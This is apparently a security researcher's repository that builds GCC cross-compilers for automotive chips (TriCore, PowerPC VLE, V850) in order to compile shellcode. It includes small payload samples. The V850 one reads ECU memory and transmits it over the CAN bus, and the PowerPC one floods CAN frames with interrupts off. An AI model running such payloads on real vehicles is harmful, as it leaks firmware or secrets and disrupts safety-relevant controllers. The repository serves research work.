├── .gitignore ├── tricore-11.3.0 ├── main.c ├── build_docker.sh ├── build.sh └── Dockerfile ├── tricore-4.9.4 ├── main.c ├── build_docker.sh ├── build.sh └── Dockerfile ├── ppc-vle-4.9.4 ├── build_docker.sh ├── build.sh ├── main.c └── Dockerfile ├── v850-13.2.0 ├── build_docker.sh ├── build.sh ├── Dockerfile └── main.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.bin 2 | *.o 3 | -------------------------------------------------------------------------------- /tricore-11.3.0/main.c: -------------------------------------------------------------------------------- 1 | void shellcode() { 2 | volatile int i = 0; 3 | 4 | while (1) { 5 | i = i + 1; 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /tricore-4.9.4/main.c: -------------------------------------------------------------------------------- 1 | void shellcode() { 2 | volatile int i = 0; 3 | 4 | while (1) { 5 | i = i + 1; 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /ppc-vle-4.9.4/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | docker build -t vle-gcc . 5 | docker run --rm -v $(pwd):/src vle-gcc ./build.sh 6 | -------------------------------------------------------------------------------- /v850-13.2.0/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | docker build -t v850-gcc . 5 | docker run --rm -v $(pwd):/src v850-gcc ./build.sh 6 | -------------------------------------------------------------------------------- /tricore-4.9.4/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | docker build -t tricore-gcc . 5 | docker run --rm -v $(pwd):/src tricore-gcc ./build.sh 6 | -------------------------------------------------------------------------------- /v850-13.2.0/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | v850-elf-gcc -fPIC -ffreestanding -c main.c -o main.o 5 | v850-elf-objdump -d main.o 6 | v850-elf-objcopy -O binary -j .text main.o main.bin 7 | -------------------------------------------------------------------------------- /tricore-11.3.0/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | docker build -t tricore-gcc . 5 | # docker run --rm -it tricore-gcc /bin/bash 6 | docker run --rm -v $(pwd):/src tricore-gcc ./build.sh 7 | -------------------------------------------------------------------------------- /tricore-11.3.0/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | tricore-elf-gcc -mcode-pic -ffreestanding -Os -c main.c -o main.o 5 | tricore-elf-objdump -d main.o 6 | tricore-elf-objcopy -O binary -j .text main.o main.bin 7 | -------------------------------------------------------------------------------- /tricore-4.9.4/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | tricore-elf-gcc -mcode-pic -ffreestanding -Os -c main.c -o main.o 5 | tricore-elf-objdump -d main.o 6 | tricore-elf-objcopy -O binary -j .text main.o main.bin 7 | -------------------------------------------------------------------------------- /ppc-vle-4.9.4/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | powerpc-eabivle-gcc -fPIC -ffreestanding -mcpu=e200z0 -mvle -Os -c main.c -o main.o 5 | powerpc-eabivle-objdump -d main.o 6 | powerpc-eabivle-objcopy -O binary -j .text main.o main.bin 7 | -------------------------------------------------------------------------------- /ppc-vle-4.9.4/main.c: -------------------------------------------------------------------------------- 1 | #define BASE_ADDR 0xFFFC0000 2 | 3 | void shellcode() { 4 | int cnt = 0; 5 | int mb_num = 4; 6 | unsigned int * volatile SWT_0_SWT = (unsigned int *)(0xFFF38000 + 0x10); 7 | unsigned int * volatile MB = (unsigned int *)(BASE_ADDR + 0x80 + mb_num * 0x10); 8 | 9 | asm("wrteei 0x0"); 10 | 11 | while (1) { 12 | int code = (*MB >> 24) & 0xf; 13 | if (code == 0b1000) { 14 | *(MB + 1) = 0x123 << 18; // ID 15 | *(MB + 2) = 0xDEADBEEF; // Data 0-3 16 | *(MB + 3) = cnt; // Data 4-7 17 | 18 | *MB = 8 << 16; // DLC 19 | *MB = *MB & 0xf0ffffff | (0b1100 << 24); // Code 20 | 21 | cnt++; 22 | 23 | } 24 | *SWT_0_SWT = 0xA602; 25 | *SWT_0_SWT = 0xB480; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Automotive Compilers 2 | This repository contains Dockerfiles for building the GCC toolchain for the most common architectures used in automotive. I use these to quickly compile some shellcode, so only the minimal set of packages are compiled to build standalone executables. No standard libraries (e.g. newlib) are built. 3 | 4 | ## Supported Architectures: 5 | - PowerPC VLE: GCC 4.9.4 from original sources, with patches from [NXP](https://github.com/nxp-auto-tools/s32ds_patches). Based on S32 Design Studio. 6 | - TriCore: 7 | - GCC 4.9.4 with patches already applied from [volumit](https://github.com/volumit/package_494). Based on HighTec C. 8 | - GCC 11.3.0 with patches already applied from [EEESlab](https://github.com/EEESlab/tricore-gcc-toolchain-11.3.0/). Based on Aurix Design Studio (ADS). 9 | - V850/RH850: GCC 13.2.0 from original sources. 10 | 11 | ## How to build 12 | Each architecture contains a Dockerfile. There is also an example script in each architecture folder that builds the docker container, and compiles a bit of shellcode using the container. 13 | -------------------------------------------------------------------------------- /v850-13.2.0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:24.04 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive 4 | ENV TZ=Etc/UTC 5 | RUN apt-get update && apt-get install -y build-essential bison flex libgmp3-dev libmpc-dev libmpfr-dev texinfo git 6 | 7 | ENV TARGET_ARCH="v850-elf" 8 | ENV TOOLCHAIN_NAME="gcc-${TARGET_ARCH}" 9 | ENV TOOLCHAIN_PATH="/opt/${TOOLCHAIN_NAME}" 10 | ENV PATH="${TOOLCHAIN_PATH}/bin:${PATH}" 11 | 12 | WORKDIR /src 13 | RUN git clone --depth=1 --branch=binutils-2_41-release git://sourceware.org/git/binutils-gdb.git 14 | RUN git clone --depth=1 --branch=releases/gcc-13.2.0 git://gcc.gnu.org/git/gcc.git 15 | 16 | # Build binutils 17 | WORKDIR /build/binutils 18 | RUN /src/binutils-gdb/configure \ 19 | --target=${TARGET_ARCH} \ 20 | --prefix=${TOOLCHAIN_PATH} \ 21 | --disable-nls 22 | RUN make -j$(nproc) all 23 | RUN make install 24 | 25 | # Build gcc 26 | WORKDIR /build/gcc 27 | RUN /src/gcc/configure \ 28 | --target=${TARGET_ARCH} \ 29 | --prefix=${TOOLCHAIN_PATH} \ 30 | --enable-languages=c \ 31 | --without-headers \ 32 | --with-gnu-as \ 33 | --with-gnu-ld \ 34 | --disable-shared \ 35 | --disable-libssp \ 36 | --disable-threads \ 37 | --disable-nls \ 38 | --with-newlib 39 | 40 | RUN make -j$(nproc) all-gcc 41 | RUN make install-gcc 42 | 43 | WORKDIR /src 44 | -------------------------------------------------------------------------------- /tricore-11.3.0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive 4 | ENV TZ=Etc/UTC 5 | RUN apt-get update && apt-get install -y build-essential bison flex libgmp3-dev libmpc-dev libmpfr-dev texinfo git 6 | 7 | WORKDIR /src 8 | RUN git clone --depth=1 https://github.com/EEESlab/tricore-binutils-gdb.git 9 | RUN git clone --depth=1 https://github.com/EEESlab/tricore-gcc.git 10 | 11 | ENV TARGET_ARCH="tricore-elf" 12 | ENV TOOLCHAIN_NAME="gcc-${TARGET_ARCH}" 13 | ENV TOOLCHAIN_PATH="/opt/${TOOLCHAIN_NAME}" 14 | ENV PATH="${TOOLCHAIN_PATH}/bin:${PATH}" 15 | 16 | # Build binutils 17 | WORKDIR /build/binutils 18 | RUN /src/tricore-binutils-gdb/configure \ 19 | --target=${TARGET_ARCH} \ 20 | --prefix=${TOOLCHAIN_PATH} \ 21 | --disable-nls \ 22 | --disable-werror 23 | RUN make -j$(nproc) all 24 | RUN make install 25 | 26 | # Build gcc 27 | WORKDIR /build/gcc 28 | RUN /src/tricore-gcc/configure \ 29 | --target=${TARGET_ARCH} \ 30 | --prefix=${TOOLCHAIN_PATH} \ 31 | --enable-languages=c \ 32 | --without-headers \ 33 | --with-gnu-as \ 34 | --with-gnu-ld \ 35 | --disable-shared \ 36 | --disable-libssp \ 37 | --disable-threads \ 38 | --disable-nls \ 39 | --with-newlib 40 | 41 | RUN make -j$(nproc) all-gcc 42 | RUN make install-gcc 43 | 44 | WORKDIR /src 45 | -------------------------------------------------------------------------------- /v850-13.2.0/main.c: -------------------------------------------------------------------------------- 1 | void shellcode() { 2 | unsigned char* volatile RSCFDnCFDTMSTSp = 0xffd202d0; 3 | unsigned int* volatile RSCFDnCFDTMIDp = 0xffd24000; 4 | unsigned int* volatile RSCFDnCFDTMDF0_p = 0xffd2400c; 5 | unsigned int* volatile RSCFDnCFDTMDF1_p = 0xffd24010; 6 | unsigned int* volatile RSCFDnCFDTMPTRp = 0xffd24004; 7 | unsigned int* volatile RSCFDnCFDTMFDCTRp = 0xffd24008; 8 | unsigned char* volatile RSCFDnCFDTMCp = 0xffd20250; 9 | 10 | 11 | asm("di"); 12 | 13 | int *addr = 0xfebe6e34; 14 | while (addr < 0xfebe6ff4) { 15 | int i = 0x10; 16 | 17 | if ((*(RSCFDnCFDTMSTSp + i) & 0b110) != 0) { 18 | continue; 19 | } 20 | 21 | // DLC 22 | *(RSCFDnCFDTMPTRp + 8 * i) = 0b1000 << 28; 23 | 24 | // ArbID 25 | *(RSCFDnCFDTMIDp + 8 * i) = 0x7a9; 26 | 27 | // Data 28 | *(RSCFDnCFDTMDF0_p + 8 * i) = ((int)addr << 8) | 0x07; 29 | *(RSCFDnCFDTMDF1_p + 8 * i) = *addr; 30 | 31 | // Classical frame 32 | *(RSCFDnCFDTMFDCTRp + 8 * i) = 0x0; 33 | 34 | // Request transmission (RSCFDnCFDTMCp.TMTR = 1) 35 | *(RSCFDnCFDTMCp + i) |= 0x1; 36 | 37 | // Wait for transmission to complete (RSCFDnCFDTMSTSp.TMTRF = 0) 38 | while ((*(RSCFDnCFDTMSTSp + i) & 0b110) == 0) { 39 | 40 | } 41 | 42 | // Clear TMTRF 43 | *(RSCFDnCFDTMSTSp + i) = *(RSCFDnCFDTMSTSp + i) & 0xf9; 44 | 45 | addr++; 46 | } 47 | 48 | while (1) { 49 | 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /tricore-4.9.4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive 4 | ENV TZ=Etc/UTC 5 | RUN apt-get update && apt-get install -y build-essential bison flex libgmp3-dev libmpc-dev libmpfr-dev texinfo git 6 | 7 | WORKDIR /src 8 | RUN git clone --depth=1 https://github.com/volumit/package_494.git 9 | 10 | ENV TARGET_ARCH="tricore-elf" 11 | ENV TOOLCHAIN_NAME="gcc-${TARGET_ARCH}" 12 | ENV TOOLCHAIN_PATH="/opt/${TOOLCHAIN_NAME}" 13 | ENV PATH="${TOOLCHAIN_PATH}/bin:${PATH}" 14 | 15 | # Build binutils 16 | WORKDIR /build/binutils 17 | RUN chmod +x /src/package_494/binutils/configure 18 | RUN CFLAGS="-Wno-error -fcommon" /src/package_494/binutils/configure \ 19 | --target=${TARGET_ARCH} \ 20 | --prefix=${TOOLCHAIN_PATH} \ 21 | --disable-nls 22 | RUN make -j$(nproc) all 23 | RUN make install 24 | 25 | 26 | # Build gcc 27 | WORKDIR /build/gcc 28 | RUN chmod +x /src/package_494/gcc/configure 29 | RUN chmod +x /src/package_494/gcc/move-if-change 30 | RUN CFLAGS="-Wno-error -fcommon" /src/package_494/gcc/configure \ 31 | --target=${TARGET_ARCH} \ 32 | --prefix=${TOOLCHAIN_PATH} \ 33 | --enable-languages=c \ 34 | --without-headers \ 35 | --with-gnu-as \ 36 | --with-gnu-ld \ 37 | --disable-shared \ 38 | --disable-libssp \ 39 | --disable-threads \ 40 | --disable-nls \ 41 | --with-newlib \ 42 | --with-licenser=no 43 | 44 | # Compile flags from volumit prebuilt toolchain 45 | # Configured with: ../../../share/HOST/AURIX_MINGW/SRC/package_494/gcc/configure LDFLAGS=-static CXXFLAGS=-Wno-c++11-compat --target=tricore-elf --enable-lib32 --disable-lib64 --prefix=/home/dummy/tricore_494_linux --enable-languages=c,c++ --enable-c99 --enable-long-long --enable-checking --enable-nls --enable-static --disable-threads --disable-shared --with-headers=yes --with-newlib=yes --enable-mingw-wildcard --disable-libstdcxx-pch --enable-newlib-elix-level=3 --enable-newlib-io-long-long --disable-newlib-supplied-syscalls --disable-libssp --disable-test-suite --with-licenser=no --with-pkgversion=GPL_HIGHTEC_GCC494 --with-bugurl=https://community.infineon.com/t5/AURIX/bd-p/AURIX 46 | 47 | RUN make -j$(nproc) all-gcc 48 | RUN make install-gcc 49 | 50 | WORKDIR /src 51 | -------------------------------------------------------------------------------- /ppc-vle-4.9.4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive 4 | ENV TZ=Etc/UTC 5 | RUN apt-get update && apt-get install -y build-essential bison flex libgmp3-dev libmpc-dev libmpfr-dev texinfo git wget dos2unix 6 | 7 | ENV BINUTILS_VERSION=2.28 8 | ENV GCC_VERSION=4.9.4 9 | ENV TARGET_ARCH="powerpc-eabivle" 10 | ENV TOOLCHAIN_NAME="gcc-${TARGET_ARCH}" 11 | ENV TOOLCHAIN_PATH="/opt/${TOOLCHAIN_NAME}" 12 | ENV PATH="${TOOLCHAIN_PATH}/bin:${PATH}" 13 | 14 | WORKDIR /src 15 | RUN wget https://ftp.gnu.org/gnu/gcc/gcc-${GCC_VERSION}/gcc-${GCC_VERSION}.tar.bz2 16 | RUN tar -xvf gcc-${GCC_VERSION}.tar.bz2 17 | 18 | RUN wget https://ftp.gnu.org/gnu/binutils/binutils-${BINUTILS_VERSION}.tar.bz2 19 | RUN tar -xvf binutils-${BINUTILS_VERSION}.tar.bz2 20 | 21 | RUN git clone https://github.com/nxp-auto-tools/s32ds_patches.git 22 | 23 | # Patch order from https://github.com/fpoussin/gcc-powerpc-eabivle 24 | ENV BINUTILS_PATCHES="bin.2-28-aeabi-common \ 25 | bin.2-28-vle-common \ 26 | bin.2-28-spe2-common \ 27 | bin.2-28-aeabi-binutils \ 28 | bin.2-28-vle-binutils \ 29 | bin.2-28-spe2-binutils \ 30 | bin.2-28-plt \ 31 | bin.2-28-booke2vle-binutils \ 32 | bin.2-28-vleHyp \ 33 | bin.2-28-efs2" 34 | 35 | ENV GCC_PATCHES="gcc.aeabi-49x gcc.fix_regalloc_for_482 \ 36 | gcc.rm_slow_tests-47 gcc.fix_mingw32 \ 37 | gcc.rm_slow_tests-494 \ 38 | gcc.e6500-FSF-49x gcc.no_power_builtins-48 \ 39 | gcc.ld_unaligned-460 gcc.local_unaligned_altivec gcc.soft_float-470 \ 40 | gcc.case_values-48 gcc.fix_pr63854_pass_manager \ 41 | gcc.builtin_isel-49x gcc.builtin_isel_doc \ 42 | gcc.experimental_move \ 43 | gcc.widen_types-49x \ 44 | gcc.extelim-v4-49x \ 45 | gcc.extelim_vrp_kugan-v1-49x \ 46 | gcc.e5500_mfocr \ 47 | gcc.opt-array-offset-49x \ 48 | gcc.load_on_store_bypass-48x \ 49 | gcc.fix_constvector \ 50 | gcc.fix_pr63908_unwind_info \ 51 | gcc.have-pre-modify-disp-support-49x \ 52 | gcc.fix_ENGR00298583_dwarf-vector-reg_49x \ 53 | gcc.fix_MTWX51605-memset-array-init_48 \ 54 | gcc.fix_altivec_constant_alignment-v2 \ 55 | gcc.fix_altivec_reload_gs8 \ 56 | gcc.fix_postfix_gimplifier \ 57 | gcc.fix_adjust_address_cost \ 58 | gcc.fix_adjust_sched_loopinv_cost \ 59 | gcc.fix_e5500_mulli_pipeline \ 60 | gcc.fix_e500mc_addi_pipeline \ 61 | gcc.fix_ENGR00292364_debug_frame \ 62 | gcc.fix_ENGR00215936_49x \ 63 | gcc.enable_soft_multilib-49x gcc.fix_49x-doc \ 64 | gcc.fix_emulation_spec_48 gcc.create_maeabi \ 65 | gcc.rm_e500v2_loops_48 \ 66 | gcc.fix_e5500-e6500-aeabi-multi-lib \ 67 | gcc.fix_ivopts \ 68 | gcc.sysroot_spec_only_linux \ 69 | gcc.fix_extelim_gcc_6x \ 70 | gcc.debug_md \ 71 | gcc.optimize_static_vars \ 72 | gcc.poison_dirs \ 73 | gcc.vle_494 \ 74 | gcc.vle_LSP_49x \ 75 | gcc.easy_on_slow_tests \ 76 | gcc.more_dejagnu_parallelization \ 77 | gcc.fix_isel_49x \ 78 | gcc.fix_trap_49x \ 79 | gcc.rm_slow_tests_vle \ 80 | gcc.vle_spe2 \ 81 | gcc.vle_short_double" 82 | 83 | # Patch Binutils 84 | WORKDIR /src/binutils-$BINUTILS_VERSION 85 | RUN bash -c 'for p in $BINUTILS_PATCHES; do patch -lbsf -p1 < /src/s32ds_patches/e200_compiler/binutils-$BINUTILS_VERSION/$p; done' 86 | 87 | # Build binutils 88 | WORKDIR /build/binutils 89 | RUN /src/binutils-$BINUTILS_VERSION/configure \ 90 | --target=${TARGET_ARCH} \ 91 | --prefix=${TOOLCHAIN_PATH} \ 92 | --disable-nls 93 | RUN make -j$(nproc) all 94 | RUN make install 95 | 96 | # Patch GCC 97 | WORKDIR /src/gcc-$GCC_VERSION 98 | RUN find gcc/testsuite/gfortran.dg -type f -exec dos2unix {} \; 99 | RUN bash -c 'for p in $GCC_PATCHES; do patch -lbsf -p1 < /src/s32ds_patches/e200_compiler/gcc-$GCC_VERSION/$p; done' 100 | 101 | # Build gcc 102 | WORKDIR /build/gcc 103 | 104 | RUN /src/gcc-$GCC_VERSION/configure \ 105 | --target=${TARGET_ARCH} \ 106 | --prefix=${TOOLCHAIN_PATH} \ 107 | --with-cpu=e200z0 \ 108 | --disable-nls \ 109 | --enable-languages=c \ 110 | --without-headers \ 111 | --with-gnu-as \ 112 | --with-gnu-ld \ 113 | --disable-shared \ 114 | --disable-libssp \ 115 | --disable-threads \ 116 | --disable-nls \ 117 | --with-newlib 118 | 119 | RUN make -j$(nproc) all-gcc 120 | RUN make install-gcc 121 | 122 | WORKDIR /src 123 | --------------------------------------------------------------------------------